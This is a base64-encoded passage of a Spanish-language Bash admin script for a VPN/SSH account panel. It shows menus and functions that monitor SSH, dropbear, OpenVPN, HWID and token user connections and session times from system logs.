Bhc3N9IikiCgkJaWYgW1sgJChlY2hvICRmZWNoYXxhd2sgJ3twcmludCAkMn0nKSA9ICIiIF1dOyB0aGVuCgkJCSNleHA9IiQocHJpbnRmICclOHMlLTJzJyAnW1hdJykiCgkJCWV4cD0iJChwcmludGYgJyUtNXMnICdbWF0nKSIKCQkJZWNobyAiICQobXNnIC12ZXJtMiAiJGZlY2hhIikkKG1zZyAtdmVyZCAiJGV4cCIpICAgICQoZWNobyAtZSAiJHN0YXQiKSIKCQllbHNlCgkJCWlmIFtbICQoZGF0ZSArJXMpIC1ndCAkKGRhdGUgJyslcycgLWQgIiR7ZmVjaGF9IikgXV07IHRoZW4KCQkJCWV4cD0iJChwcmludGYgJyUtNXMnICJFeHAiKSIKCQkJCWVjaG8gIiAkKG1zZyAtdmVybTIgIiRtZXNfZGlhLyRhbm8iKSAgJChtc2cgLXZlcm0yICIkZXhwIikkKG1zZyAtYW1hICIkTGltaXQiKSAgICAkKGVjaG8gLWUgIiRzdGF0IikiCgkJCWVsc2UKCQkJCUVYUFRJTUU9IiQoKCQoKCQoZGF0ZSAnKyVzJyAtZCAiJHtmZWNoYX0iKSAtICQoZGF0ZSArJXMpKSkgLyA4NjQwMCkpIgoJCQkJW1sgIiR7I0VYUFRJTUV9IiA9ICIxIiBdXSAmJiBleHA9IiQocHJpbnRmICclLTVzJyAiJEVYUFRJTUUiKSIgfHwgZXhwPSIkKHByaW50ZiAnJS01cycgIiRFWFBUSU1FIikiCgkJCQllY2hvICIgJChtc2cgLXZlcm0yICIkbWVzX2RpYS8kYW5vIikgICQobXNnIC12ZXJkICIkZXhwIikkKG1zZyAtYW1hICIkTGltaXQiKSAgICAkKGVjaG8gLWUgIiRzdGF0IikiCgkJCWZpCgkJZmkKCgoJCWxldCBpKysKCWRvbmUKbXNnIC1iYXIKCn0KbWVudWRhdGEoKXsKY2xlYXIKI21zZyAtYmFyCm1zZyAtdGl0Cm1zZyAtYW1hICIgXGVbMTszM21bMV0gXGVbMzdtREVUQUxMRVMgREUgQ1VFTlRBUyBTU0ggXGVbMG1cbiBcZVsxOzMzbVsyXSBcZVszN21ERVRBTExFUyBERSBDVUVOVEFTIEhXSUQgXGVbMG1cbiBcZVsxOzMzbVszXSBcZVszN21ERVRBTExFUyBERSBDVUVOVEFTIFRPS0VOIFxlWzBtXG4gXGVbMTszMW1bMF0gXGVbMTszN208LSBWT0xWRVIiCm1zZyAtYmFyCnJlYWQgLXAgIiAkKGVjaG8gLWUgIlxlWzE7MzdtU2VsZWNjaW9uZSBVbmEgT3BjaW9uIFsxLzNdOlxlWzE7MzNtIikgIiBjdWVuCmNhc2UgJGN1ZW4gaW4KMSlkYXRhX3VzZXIgJiYgbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMgOzsKMilkYXRhX2h3aWQgJiYgbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXM7OwozKWRhdGFfdG9rZW4gJiYgbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXM7OwowKSR7U0NQdXNyfS91c2VyY29kZXM7Owplc2FjCn0KCgpmdW5fZHJvcCAoKSB7CnBvcnRfZHJvcGJlYXI9YHBzIGF1eCB8IGdyZXAgZHJvcGJlYXIgfCBhd2sgTlI9PTEgfCBhd2sgJ3twcmludCAkMTc7fSdgCmxvZz0vdmFyL2xvZy9hdXRoLmxvZwpsb2dpbnN1a3Nlcz0nUGFzc3dvcmQgYXV0aCBzdWNjZWVkZWQnCmNsZWFyCnBpZHM9YHBzIGF4IHxncmVwIGRyb3BiZWFyIHxncmVwICAiICRwb3J0X2Ryb3BiZWFyIiB8YXdrIC1GIiAiICd7cHJpbnQgJDF9J2AKZm9yIHBpZCBpbiAkcGlkcwpkbwogICAgcGlkbG9ncz1gZ3JlcCAkcGlkICRsb2cgfGdyZXAgIiRsb2dpbnN1a3NlcyIgfGF3ayAtRiIgIiAne3ByaW50ICQzfSdgCiAgICBpPTAKICAgIGZvciBwaWRlbmQgaW4gJHBpZGxvZ3MKICAgIGRvCiAgICAgIGxldCBpPWkrMQogICAgZG9uZQogICAgaWYgWyAkcGlkZW5kIF07dGhlbgogICAgICAgbG9naW49YGdyZXAgJHBpZCAkbG9nIHxncmVwICIkcGlkZW5kIiB8Z3JlcCAiJGxvZ2luc3Vrc2VzImAKICAgICAgIFBJRD0kcGlkCiAgICAgICB1c2VyPWBlY2hvICRsb2dpbiB8YXdrIC1GIiAiICd7cHJpbnQgJDEwfScgfCBzZWQgLXIgInMvJy8gL2ciYAogICAgICAgd2FrdHU9YGVjaG8gJGxvZ2luIHxhd2sgLUYiICIgJ3twcmludCAkMiItIiQxLCQzfSdgCiAgICAgICB3aGlsZSBbICR7I3dha3R1fSAtbHQgMTMgXTsgZG8KICAgICAgICAgICB3YWt0dT0kd2FrdHUiICIKICAgICAgIGRvbmUKICAgICAgIHdoaWxlIFsgJHsjdXNlcn0gLWx0IDE2IF07IGRvCiAgICAgICAgICAgdXNlcj0kdXNlciIgIgogICAgICAgZG9uZQogICAgICAgd2hpbGUgWyAkeyNQSUR9IC1sdCA4IF07IGRvCiAgICAgICAgICAgUElEPSRQSUQiICIKICAgICAgIGRvbmUKICAgICAgIGVjaG8gIiR1c2VyICRQSUQgJHdha3R1IgogICAgZmkKZG9uZQp9CgptZW51bW9uaSgpewpjbGVhcgojbXNnIC1iYXIKbXNnIC10aXQKbXNnIC1hbWEgIiBcZVsxOzMzbVsxXSBcZVszN21NT05JVE9SIERFIENVRU5UQVMgU1NIXGVbMG1cbiBcZVsxOzMzbVsyXSBcZVszN21NT05JVE9SIERFIENVRU5UQVMgSFdJRFxlWzBtXG4gXGVbMTszM21bM10gXGVbMzdtTU9OSVRPUiBERSBDVUVOVEFTIFRPS0VOXGVbMG1cbiBcZVsxOzMxbVswXSBcZVsxOzM3bTwtIFZPTFZFUiIKbXNnIC1iYXIKcmVhZCAtcCAiICQoZWNobyAtZSAiXGVbMTszN21TZWxlY2Npb25lIFVuYSBPcGNpb24gWzEvM106XGVbMTszM20iKSAiIGN1ZW4KY2FzZSAkY3VlbiBpbgoxKW1vbml0X3NzaDs7CjIpbW9uaXRfaHdpZDs7CjMpbW9uaXRfdG9rZW47OwowKSR7U0NQdXNyfS91c2VyY29kZXM7Owplc2FjCn0KCnRzX2dldF9zZWMoKXsKICByZWFkIC1yIGggbSBzIDw8PCAkKGVjaG8gJDEgfCB0ciAnOicgJyAnICkKICBbWyAkaCA9IEAoMDh8MDkpIF1dICYmIGg9JChlY2hvICR7czoxfSkKICBbWyAkbSA9IEAoMDh8MDkpIF1dICYmIG09JChlY2hvICR7czoxfSkKICBbWyAkcyA9IEAoMDh8MDkpIF1dICYmIHM9JChlY2hvICR7czoxfSkKICBlY2hvICQoKChoKjYwKjYwKSsobSo2MCkrcykpCn0KZXhwb3J0IG51bWVybz0nXlswLTldKyQnCmV4cG9ydCBsZXRyYT0nXltBLVphLXpdKyQnCmV4cG9ydCB0eF9udW09J15bQS1aYS16MC05XSskJwoKdHNfZ2V0X2NvbigpewogIGRlY2xhcmUgLUEgY29uZWN0CiAgbWVzZGlhPSQoZGF0ZXxjdXQgLWQnICcgLWYyLDMpCiAgaWYgW1sgJChlY2hvICR7bWVzZGlhOjA6Mn0pID1+ICRudW1lcm8gXV07IHRoZW4KICAgIG1lcz0kKGVjaG8gIiRtZXNkaWEifGN1dCAtZCAnICcgLWYyKQogICAgZGlhPSQoZWNobyAiJG1lc2RpYSJ8Y3V0IC1kICcgJyAtZjEpCiAgICBtZXNkaWE9IiRtZXMgJGRpYSIKICBmaQogIGNhdCAvdmFyL2xvZy9hdXRoLmxvZ3xncmVwICIkbWVzZGlhIiA+IC92YXIvbG9nL2F1dGhkYXkubG9nCiAgbG9naW5zPSIkKGNhdCAvdmFyL2xvZy9hdXRoZGF5LmxvZ3xncmVwIC12IHJvb3R8Z3JlcCAnZHJvcGJlYXJcfHNzaGQnfGdyZXAgLXcgJ1Bhc3N3b3JkIGF1dGggc3VjY2VlZGVkXHxBY2NlcHRlZCBwYXNzd29yZCBmb3InKSIKICBbWyAteiAke2xvZ2luc30gXV0gJiYgcmV0dXJuCiAgd2hpbGUgcmVhZCBsaW5lOyBkbwogICAgaWYgW1sgJChlY2hvICIkbGluZSJ8Z3JlcCAtdyAnZHJvcGJlYXInKSBdXTt0aGVuCiAgICAgIGRhdGE9JChlY2hvICIkbGluZSJ8Y3V0IC1kICcgJyAtZjMsNSwxMHxzZWQgInMvXTpcfCcvL2cifHNlZCAncy9cWy8gL2cnKQogICAgZWxpZiBbWyAkKGVjaG8gIiRsaW5lInxncmVwICdzc2hkJykgXV07IHRoZW4KICAgICAgZGF0YT0kKGVjaG8gIiRsaW5lInxjdXQgLWQgJyAnIC1mMyw1LDl8c2VkICdzL106Ly9nJ3xzZWQgJ3MvXFsvIC9nJykKICAgIGZpCiAgICBwaWQ9JChlY2hvICIkZGF0YSJ8Y3V0IC1kICcgJyAtZjMpCiAgICB0aW1lT3V0PSQoY2F0IC92YXIvbG9nL2F1dGhkYXkubG9nfGdyZXAgIiRwaWQifGdyZXAgJ0V4aXRcfGNsb3NlZCd8Y3V0IC1kICcgJyAtZjMpCiAgICBbWyAteiAke3RpbWVPdXR9IF1dICYmIHRpbWVPdXQ9J29wZW4nCiAgICBzdGFydF90cz0iJChlY2hvICIkZGF0YSJ8Y3V0IC1kICcgJyAtZjEpIgogICAgaWYgW1sgIiR7dGltZU91dH0iID0gJ29wZW4nIF1dOyB0aGVuIAogICAgICBzdG9wX3RzPSIkKHByaW50ZiAnJSglSDolTTolUylUJykiCiAgICBlbHNlCiAgICAgIHN0b3BfdHM9IiR7dGltZU91dH0iCiAgICBmaQogICAgU1RBUlQ9JCh0c19nZXRfc2VjICRzdGFydF90cykKICAgIFNUT1A9JCh0c19nZXRfc2VjICRzdG9wX3RzKQoKICAgIGlmIFtbICRTVEFSVCAtZ3QgJFNUT1AgXV07IHRoZW4KICAgICAgRElGRj0kKChTVEFSVC1TVE9QKSkKICAgICAgZWxzZQogICAgICBESUZGPSQoKFNUT1AtU1RBUlQpKQogICAgZmkKICAgIGg9IiQoKERJRkYvNjAvNjApKSIgJiYgW1sgIiR7I2h9IiA9IDEgXV0gJiYgaD0iMCRoIgogICAgbT0iJCgoRElGRi82MCU2MCkpIiAmJiBbWyAiJHsjbX0iID0gMSBdXSAmJiBtPSIwJG0iCiAgICBzPSIkKChESUZGJTYwKSkiICYmIFtbICIkeyNzfSIgPSAxIF1dICYmIHM9IjAkcyIKICAgIHRpZW1wbz0iJGg6JG06JHMiCiAgICBuYW1lPSQoZWNobyAiJGRhdGEifGN1dCAtZCAnICcgLWY0KQogICAgY29uZWN0WyIke25hbWV9Il09IiR7ZGF0YX0gJHt0aW1lT3V0fSAke3RpZW1wb30iCiAgZG9uZSA8PDwgJChlY2hvICIke2xvZ2luc30iKQogIHByaW50ZiAiJXNcbiIgIiR7Y29uZWN0W0BdfSIKfQoKbW9uaXRfc3NoKCl7CgljbGVhcgoJW1sgJChkcGtnIC0tZ2V0LXNlbGVjdGlvbnN8Z3JlcCAtdyAibmV0LXRvb2xzInxoZWFkIC0xKSBdXSB8fCBhcHQtZ2V0IGluc3RhbGwgbmV0LXRvb2xzIC15ICY+L2Rldi9udWxsIAogIGNhYj0kKHByaW50ZiAnJS0xNXMlLTEzcyUtMTVzJS03cycgJ1VTVUFSSU8nICdTVEFUVVMnICdDT05FWElPTkVTJyAnVElFTVBPJykKICBtc2cgLWJhciAKICBlY2hvIC1lICJcRVs5MW0gXGVbNDNtICRjYWJcRVswbSIKICBtc2cgLWJhcgojICBtc2cgLWFtYSAiQW5hbGl6YW5kbyB1c3Vhcmlvcy4uLiIKICMgdHNfY29uZWN0X3VzZXI9JCh0c19nZXRfY29uKQogIHRwdXQgY3V1MSAmJiB0cHV0IGRsMQoJY2F0X3VzZXJzPSQoY2F0ICIvZXRjL3Bhc3N3ZCJ8Z3JlcCAnaG9tZSd8Z3JlcCAnc3NobSd8Z3JlcCAtdiAnc3lzbG9nJykKICAgIGZvciBpIGluIGBlY2hvICIkY2F0X3VzZXJzInxhd2sgLUYgJzonICd7cHJpbnQgJDF9J2A7IGRvCiAgICAgICAgdXNlcj0iJGkiCiAgICAjICAgIFtbIC16ICQoY2F0ICR7VVNSZGF0YWJhc2V9fGdyZXAgLXcgIiR7aX0ifGN1dCAtZCd8JyAtZjQpIF1dICYmIHMyc3NoPSIiIHx8IHMyc3NoPSIkKGNhdCAke1VTUmRhdGFiYXNlfXxncmVwIC13ICIke2l9InxjdXQgLWQnfCcgLWY0KSIKICAgICAgICBzMnNzaD0iJChlY2hvICIkKGNhdCAke1VTUmRhdGFiYXNlfXxncmVwIC13ICIke2l9InxjdXQgLWQnfCcgLWY0KSIpIgoKICAgICAgICBpZiBbWyAiJChlY2hvICIkY2F0X3VzZXJzInwgZ3JlcCAtdyAkaXwgd2MgLWwpIiA9ICIxIiBdXTsgdGhlbgogICAgICAgICAgc3FkPSIkKHBzIC11ICR1c2VyIHwgZ3JlcCBzc2hkIHwgd2MgLWwpIgogICAgICAgIGVsc2UKICAgICAgICAgIHNxZD0wMAogICAgICAgIGZpCgogICAgICAgIFtbICIkc3FkIiA9ICIiIF1dICYmIHNxZD0wCiAgICAgICAgaWYgW1sgLWUgL2V0Yy9vcGVudnBuL29wZW52cG4tc3RhdHVzLmxvZyBdXTsgdGhlbgogICAgICAgICAgb3ZwPSIkKGNhdCAvZXRjL29wZW52cG4vb3BlbnZwbi1zdGF0dXMubG9nIHwgZ3JlcCAtRSAsIiRpIiwgfCB3YyAtbCkiCiAgICAgICAgZWxzZQogICAgICAgICAgb3ZwPTAKICAgICAgICBmaQoKICAgIGlmIG5ldHN0YXQgLW5sdHB8Z3JlcCAtdyAnZHJvcGJlYXInID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIGRyb3A9IiQoZHJvcGJlYXJfcGlkcyB8IGdyZXAgLXcgIiRpIiB8IHdjIC1sKSIKICAgICAgICBlbHNlCiAgICAgICAgIGRyb3A9MAogICAgICBmaQogICAgICBjbng9JCgoJHNxZCArICRkcm9wKSkKICAgICAgIGNvbmV4PSQoKCRjbnggKyAkb3ZwKSkKICAgICAgICBpZiBbWyAkY254IC1ndCAwIF1dOyB0aGVuCiAgICAgICAgICB0c3Q9IiQocHMgLW8gZXRpbWUgJChwcyAtdSAkdXNlciB8Z3JlcCBzc2hkIHxhd2sgJ05SPT0xIHtwcmludCAkMX0nKXxhd2sgJ05SPT0yIHtwcmludCAkMX0nKSIKICAgICAgICAgIHRzdDE9JChlY2hvICIkdHN0IiB8IHdjIC1jKQogICAgICAgIGlmIFtbICIkdHN0MSIgPT0gIjkiIF1dOyB0aGVuIAogICAgICAgICAgdGltZXJyPSIkKHBzIC1vIGV0aW1lICQocHMgLXUgJHVzZXIgfGdyZXAgc3NoZCB8YXdrICdOUj09MSB7cHJpbnQgJDF9Jyl8YXdrICdOUj09MiB7cHJpbnQgJDF9JykiCiAgICAgICAgZWxzZQogICAgICAgICAgdGltZXJyPSIkKGVjaG8gIjAwOiR0c3QiKSIKICAgICAgICBmaQogICAgICAgIAogICAgICAgIGVsaWYgW1sgJG92cCAtZ3QgMCBdXTsgdGhlbgogICAgICAgICAgdG1wMj0kKHByaW50ZiAnJSglSDolTTolUylUXG4nKQogICAgICAgICAgdG1wMT0iJChncmVwIC13ICIkaSIgL2V0Yy9vcGVudnBuL29wZW52cG4tc3RhdHVzLmxvZyB8YXdrICd7cHJpbnQgJDR9J3wgaGVhZCAtMSkiCiAgICAgICAgICBbWyAiJHRtcDEiID0gIiIgXV0gJiYgdG1wMT0iMDA6MDA6MDAiICYmIHRtcDI9IjAwOjAwOjAwIgogICAgICAgICAgdmFyMT1gZWNobyAkdG1wMSB8IGN1dCAtYyAxLTJgCiAgICAgICAgICB2YXIyPWBlY2hvICR0bXAxIHwgY3V0IC1jIDQtNWAKICAgICAgICAgIHZhcjM9YGVjaG8gJHRtcDEgfCBjdXQgLWMgNy04YAogICAgICAgICAgdmFyND1gZWNobyAkdG1wMiB8IGN1dCAtYyAxLTJgCiAgICAgICAgICB2YXI1PWBlY2hvICR0bXAyIHwgY3V0IC1jIDQtNWAKICAgICAgICAgIHZhcjY9YGVjaG8gJHRtcDIgfCBjdXQgLWMgNy04YAogICAgICAgICAgY2FsYzE9YGVjaG8gJHZhcjEqMzYwMCArICR2YXIyKjYwICsgJHZhcjMgfCBiY2AKICAgICAgICAgIGNhbGMyPWBlY2hvICR2YXI0KjM2MDAgKyAkdmFyNSo2MCArICR2YXI2IHwgYmNgCiAgICAgICAgICBzZWc9JCgoJGNhbGMyIC0gJGNhbGMxKSkKICAgICAgICAgIG1pbj0kKCgkc2VnLzYwKSkKICAgICAgICAgIHNlZz0kKCgkc2VnLSRtaW4qNjApKQogICAgICAgICAgaG9yPSQoKCRtaW4vNjApKQogICAgICAgICAgbWluPSQoKCRtaW4tJGhvcio2MCkpCiAgICAgICAgICB0aW1lcnVzcj1gcHJpbnRmICIlMDJkOiUwMmQ6JTAyZCBcbiIgJGhvciAkbWluICRzZWc7YAogICAgICAgICAgdGltZXJyPSQoZWNobyAiJHRpbWVydXNyIiB8IHNlZCAtZSAncy9bXjAtOTpdLy9pZycgKQogICAgICAgIGVsc2UKICAgICAgICAgIHRpbWVycj0iMDA6MDA6MDAiCiAgICAgICAgZmkKCiAgICAgCiAgICAgICAgICB1c2VyPSQocHJpbnRmICclLTE2cycgIiRpIikKICAgICAgICAgIGNvbj0kKHByaW50ZiAnJS0xMXMnICIkY29uZXgvJHMyc3NoIikKICAjbXNnIC1iYXIKICAgICAgICBpZiBbWyAkY29uZXggLWVxIDAgXV07IHRoZW4KICAgICAgICAgICBzdGF0dXM9JChwcmludGYgJyUtMTZzJyAnW09GRl0nKQogICAgICAgICMgICBtc2cgLWJhcgogICAgICAgICAgIGVjaG8gLWUgIiBcZVsxOzk3bSR1c2VyJChtc2cgLXZlcm0yICIkc3RhdHVzIikkKG1zZyAtdmVyZCAiJGNvbiIpJChtc2cgLWFtYSAiJHRpbWVyciIpIgogICAgICAgIGVsc2UKICAgICAgICAgICBzdGF0dXM9JChwcmludGYgJyUtMTZzJyAnW09OXScpCiAgICAgICAjICAgIG1zZyAtYmFyCiAgICAgICAgICAgZWNobyAtZSAiIFxlWzE7OTdtJHVzZXIkKG1zZyAtdmVyZCAiJHN0YXR1cyIpJChtc2cgLXZlcmQgIiRjb24iKSQobXNnIC1hbWEgIiR0aW1lcnIiKSIKICAgICAgICBmaQogICAgICAgIG1zZyAtYmFyCiAgICAgIGRvbmUKICAgIHRwdXQgY3V1MSAmJiB0cHV0IGRsMQogICBtc2cgLWJhcgoKfQptb25pdF9od2lkKCl7CgljbGVhcgoJW1sgJChkcGtnIC0tZ2V0LXNlbGVjdGlvbnN8Z3JlcCAtdyAibmV0LXRvb2xzInxoZWFkIC0xKSBdXSB8fCBhcHQtZ2V0IGluc3RhbGwgbmV0LXRvb2xzIC15ICY+L2Rldi9udWxsIAogIGNhYj0kKHByaW50ZiAnJS0xNXMlLTEzcyUtMTVzJS03cycgJy1IV0lELSAnICdTVEFUVVMnICdDT05FWElPTkVTJyAnVElFTVBPJykKICBtc2cgLWJhciAKICBlY2hvIC1lICJcRVs5MW0gXGVbNDNtICRjYWJcRVswbSIKICBtc2cgLWJhcgojICBtc2cgLWFtYSAiQW5hbGl6YW5kbyB1c3Vhcmlvcy4uLiIKIyAgdHNfY29uZWN0X3VzZXI9JCh0c19nZXRfY29uKQogIHRwdXQgY3V1MSAmJiB0cHV0IGRsMQoJY2F0X3VzZXJzPSQoY2F0ICIvZXRjL3Bhc3N3ZCJ8Z3JlcCAnaG9tZSd8Z3JlcCAnaHdpZCd8Z3JlcCAtdiAnc3lzbG9nJykKCQoJZm9yIGkgaW4gYGVjaG8gIiRjYXRfdXNlcnMifGF3ayAtRiAnOicgJ3twcmludCAkMX0nYDsgZG8KICAgICAgICB1c2VyPSIkaSIKICAgIAogICAgICAgIGlmIFtbICIkKGVjaG8gIiRjYXRfdXNlcnMifCBncmVwIC13ICRpfCB3YyAtbCkiID0gIjEiIF1dOyB0aGVuCiAgICAgICAgICBzcWQ9IiQocHMgLXUgJHVzZXIgfCBncmVwIHNzaGQgfCB3YyAtbCkiCiAgICAgICAgZWxzZQogICAgICAgICAgc3FkPTAwCiAgICAgICAgZmkKCiAgICAgICAgW1sgIiRzcWQiID0gIiIgXV0gJiYgc3FkPTAKICAgICAgICBpZiBbWyAtZSAvZXRjL29wZW52cG4vb3BlbnZwbi1zdGF0dXMubG9nIF1dOyB0aGVuCiAgICAgICAgICBvdnA9IiQoY2F0IC9ldGMvb3BlbnZwbi9vcGVudnBuLXN0YXR1cy5sb2cgfCBncmVwIC1FICwiJGkiLCB8IHdjIC1sKSIKICAgICAgICBlbHNlCiAgICAgICAgICBvdnA9MAogICAgICAgIGZpCgogaWYgbmV0c3RhdCAtbmx0cHxncmVwIC13ICdkcm9wYmVhcicgPi9kZXYvbnVsbCAyPiYxOyB0aGVuCiAgICAgICAgZHJvcD0iJChkcm9wYmVhcl9waWRzIHwgZ3JlcCAtdyAiJGkiIHwgd2MgLWwpIgogICAgICAgICAgCiAgICAgICAgIyAgW1sgJChkcGtnIC0tZ2V0LXNlbGVjdGlvbnN8Z3JlcCAtdyAiZHJvcGJlYXIifGhlYWQgLTEpIF1dICYmIGRyb3A9IiQoZnVuX2Ryb3B8Z3JlcCAtdyAiJHtpfSJ8d2MgLWwpIgogICAgICAgICAgCiAgICAgICAgZWxzZQogICAgICAgICBkcm9wPTAKICAgICAgZmkKICAgICAgY254PSQoKCRzcWQgKyAkZHJvcCkpCiAgICAgICBjb25leD0kKCgkY254ICsgJG92cCkpCiAgICAgICAgaWYgW1sgJGNueCAtZ3QgMCBdXTsgdGhlbgogICAgICAgICAgdHN0PSIkKHBzIC1vIGV0aW1lICQocHMgLXUgJHVzZXIgfGdyZXAgc3NoZCB8YXdrICdOUj09MSB7cHJpbnQgJDF9Jyl8YXdrICdOUj09MiB7cHJpbnQgJDF9JykiCiAgICAgICAgICB0c3QxPSQoZWNobyAiJHRzdCIgfCB3YyAtYykKICAgICAgICBpZiBbWyAiJHRzdDEiID09ICI5IiBdXTsgdGhlbiAKICAgICAgICAgIHRpbWVycj0iJChwcyAtbyBldGltZSAkKHBzIC11ICR1c2VyIHxncmVwIHNzaGQgfGF3ayAnTlI9PTEge3ByaW50ICQxfScpfGF3ayAnTlI9PTIge3ByaW50ICQxfScpIgogICAgICAgIGVsc2UKICAgICAgICAgIHRpbWVycj0iJChlY2hvICIwMDokdHN0IikiCiAgICAgICAgZmkKICAgICAgICAKICAgICAgICBlbGlmIFtbICRvdnAgLWd0IDAgXV07IHRoZW4KICAgICAgICAgIHRtcDI9JChwcmludGYgJyUoJUg6JU06JVMpVFxuJykKICAgICAgICAgIHRtcDE9IiQoZ3JlcCAtdyAiJGkiIC9ldGMvb3BlbnZwbi9vcGVudnBuLXN0YXR1cy5sb2cgfGF3ayAne3ByaW50ICQ0fSd8IGhlYWQgLTEpIgogICAgICAgICAgW1sgIiR0bXAxIiA9ICIiIF1dICYmIHRtcDE9IjAwOjAwOjAwIiAmJiB0bXAyPSIwMDowMDowMCIKICAgICAgICAgIHZhcjE9YGVjaG8gJHRtcDEgfCBjdXQgLWMgMS0yYAogICAgICAgICAgdmFyMj1gZWNobyAkdG1wMSB8IGN1dCAtYyA0LTVgCiAgICAgICAgICB2YXIzPWBlY2hvICR0bXAxIHwgY3V0IC1jIDctOGAKICAgICAgICAgIHZhcjQ9YGVjaG8gJHRtcDIgfCBjdXQgLWMgMS0yYAogICAgICAgICAgdmFyNT1gZWNobyAkdG1wMiB8IGN1dCAtYyA0LTVgCiAgICAgICAgICB2YXI2PWBlY2hvICR0bXAyIHwgY3V0IC1jIDctOGAKICAgICAgICAgIGNhbGMxPWBlY2hvICR2YXIxKjM2MDAgKyAkdmFyMio2MCArICR2YXIzIHwgYmNgCiAgICAgICAgICBjYWxjMj1gZWNobyAkdmFyNCozNjAwICsgJHZhcjUqNjAgKyAkdmFyNiB8IGJjYAogICAgICAgICAgc2VnPSQoKCRjYWxjMiAtICRjYWxjMSkpCiAgICAgICAgICBtaW49JCgoJHNlZy82MCkpCiAgICAgICAgICBzZWc9JCgoJHNlZy0kbWluKjYwKSkKICAgICAgICAgIGhvcj0kKCgkbWluLzYwKSkKICAgICAgICAgIG1pbj0kKCgkbWluLSRob3IqNjApKQogICAgICAgICAgdGltZXJ1c3I9YHByaW50ZiAiJTAyZDolMDJkOiUwMmQgXG4iICRob3IgJG1pbiAkc2VnO2AKICAgICAgICAgIHRpbWVycj0kKGVjaG8gIiR0aW1lcnVzciIgfCBzZWQgLWUgJ3MvW14wLTk6XS8vaWcnICkKICAgICAgICBlbHNlCiAgICAgICAgICB0aW1lcnI9IjAwOjAwOjAwIgogICAgICAgIGZpCgogICAgIAogICAgICAgICAgaHdpZD0kKHByaW50ZiAnJS0zMnMnICIkaSIpCiAgICAgICAgICBjb249JChwcmludGYgJyUtM3MnICIkY29uZXgiKQogICAgIAoKICAgICAgICBpZiBbWyAkY29uZXggLWVxIDAgXV07IHRoZW4KICAgICAgICAgICBzdGF0dXM9JChwcmludGYgJyUtM3MnICdbT0ZGXScpCiAgICAgICAgIyAgIG1zZyAtYmFyCiAgICAgICAgICAgZWNobyAtZSAiIFxlWzE7OTdtJGh3aWQkKG1zZyAtdmVybTIgIiRzdGF0dXMiKSQobXNnIC12ZXJkICIkY29uIikkKG1zZyAtYW1hICIkdGltZXJyIikiCiAgICAgICAgZWxzZQogICAgICAgICAgIHN0YXR1cz0kKHByaW50ZiAnJS0zcycgJ1tPTl0nKQogICAgICAgIyAgICBtc2cgLWJhcgogICAgICAgICAgIGVjaG8gLWUgIiBcZVsxOzk3bSRod2lkJChtc2cgLXZlcmQgIiRzdGF0dXMiKSQobXNnIC12ZXJkICIkY29uIikkKG1zZyAtYW1hICIkdGltZXJyIikiCiAgICAgICAgZmkKICAgICAgICBtc2cgLWJhcgogICAgICBkb25lCiAgICB0cHV0IGN1dTEgJiYgdHB1dCBkbDEKICAgbXNnIC1iYXIKCn0KbW9uaXRfdG9rZW4oKXsKCWNsZWFyCglbWyAkKGRwa2cgLS1nZXQtc2VsZWN0aW9uc3xncmVwIC13ICJuZXQtdG9vbHMifGhlYWQgLTEpIF1dIHx8IGFwdC1nZXQgaW5zdGFsbCBuZXQtdG9vbHMgLXkgJj4vZGV2L251bGwgCiAgY2FiPSQocHJpbnRmICclLTE1cyUtMTNzJS0xNXMlLTdzJyAnLVRPS0VOLScgJ1NUQVRVUycgJ0NPTkVYSU9ORVMnICdUSUVNUE8nKQogIG1zZyAtYmFyIAogIGVjaG8gLWUgIlxFWzkxbSBcZVs0M20gJGNhYlxFWzBtIgogIG1zZyAtYmFyCiAgbXNnIC1hbWEgIkFuYWxpemFuZG8gdXN1YXJpb3MuLi4iCiMgIHRzX2NvbmVjdF91c2VyPSQodHNfZ2V0X2NvbikKICB0cHV0IGN1dTEgJiYgdHB1dCBkbDEKCWNhdF91c2Vycz0kKGNhdCAiL2V0Yy9wYXNzd2QifGdyZXAgJ2hvbWUnfGdyZXAgJ3Rva2VuJ3xncmVwIC12ICdzeXNsb2cnKQoJCglmb3IgaSBpbiBgZWNobyAiJGNhdF91c2VycyJ8YXdrIC1GICc6JyAne3ByaW50ICQxfSdgOyBkbwogICAgICAgIHVzZXI9IiRpIgogICAgCiAgICAgICAgaWYgW1sgIiQoZWNobyAiJGNhdF91c2VycyJ8IGdyZXAgLXcgJGl8IHdjIC1sKSIgPSAiMSIgXV07IHRoZW4KICAgICAgICAgIHNxZD0iJChwcyAtdSAkdXNlciB8IGdyZXAgc3NoZCB8IHdjIC1sKSIKICAgICAgICBlbHNlCiAgICAgICAgICBzcWQ9MDAKICAgICAgICBmaQoKICAgICAgICBbWyAiJHNxZCIgPSAiIiBdXSAmJiBzcWQ9MAogICAgICAgIGlmIFtbIC1lIC9ldGMvb3BlbnZwbi9vcGVudnBuLXN0YXR1cy5sb2cgXV07IHRoZW4KICAgICAgICAgIG92cD0iJChjYXQgL2V0Yy9vcGVudnBuL29wZW52cG4tc3RhdHVzLmxvZyB8IGdyZXAgLUUgLCIkaSIsIHwgd2MgLWwpIgoKICAgICAgICBlbHNlCiAgICAgICAgICBvdnA9MAogICAgICAgIGZpCgogIGlmIG5ldHN0YXQgLW5sdHB8Z3JlcCAtdyAnZHJvcGJlYXInID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIGRyb3A9IiQoZHJvcGJlYXJfcGlkcyB8IGdyZXAgLXcgIiRpIiB8IHdjIC1sKSIKICAgICAgICAgIAogICAgICAgICMgIFtbICQoZHBrZyAtLWdldC1zZWxlY3Rpb25zfGdyZXAgLXcgImRyb3BiZWFyInxoZWFkIC0xKSBdXSAmJiBkcm9wPSIkKGZ1bl9kcm9wfGdyZXAgLXcgIiR7aX0ifHdjIC1sKSIKICAgICAgICAgIAogICAgICAgIGVsc2UKICAgICAgICAgZHJvcD0wCiAgICAgIGZpCiAgICAgIGNueD0kKCgkc3FkICsgJGRyb3ApKQogICAgICAgY29uZXg9JCgoJGNueCArICRvdnApKQogICAgICAgIGlmIFtbICRjbnggLWd0IDAgXV07IHRoZW4KICAgICAgICAgIHRzdD0iJChwcyAtbyBldGltZSAkKHB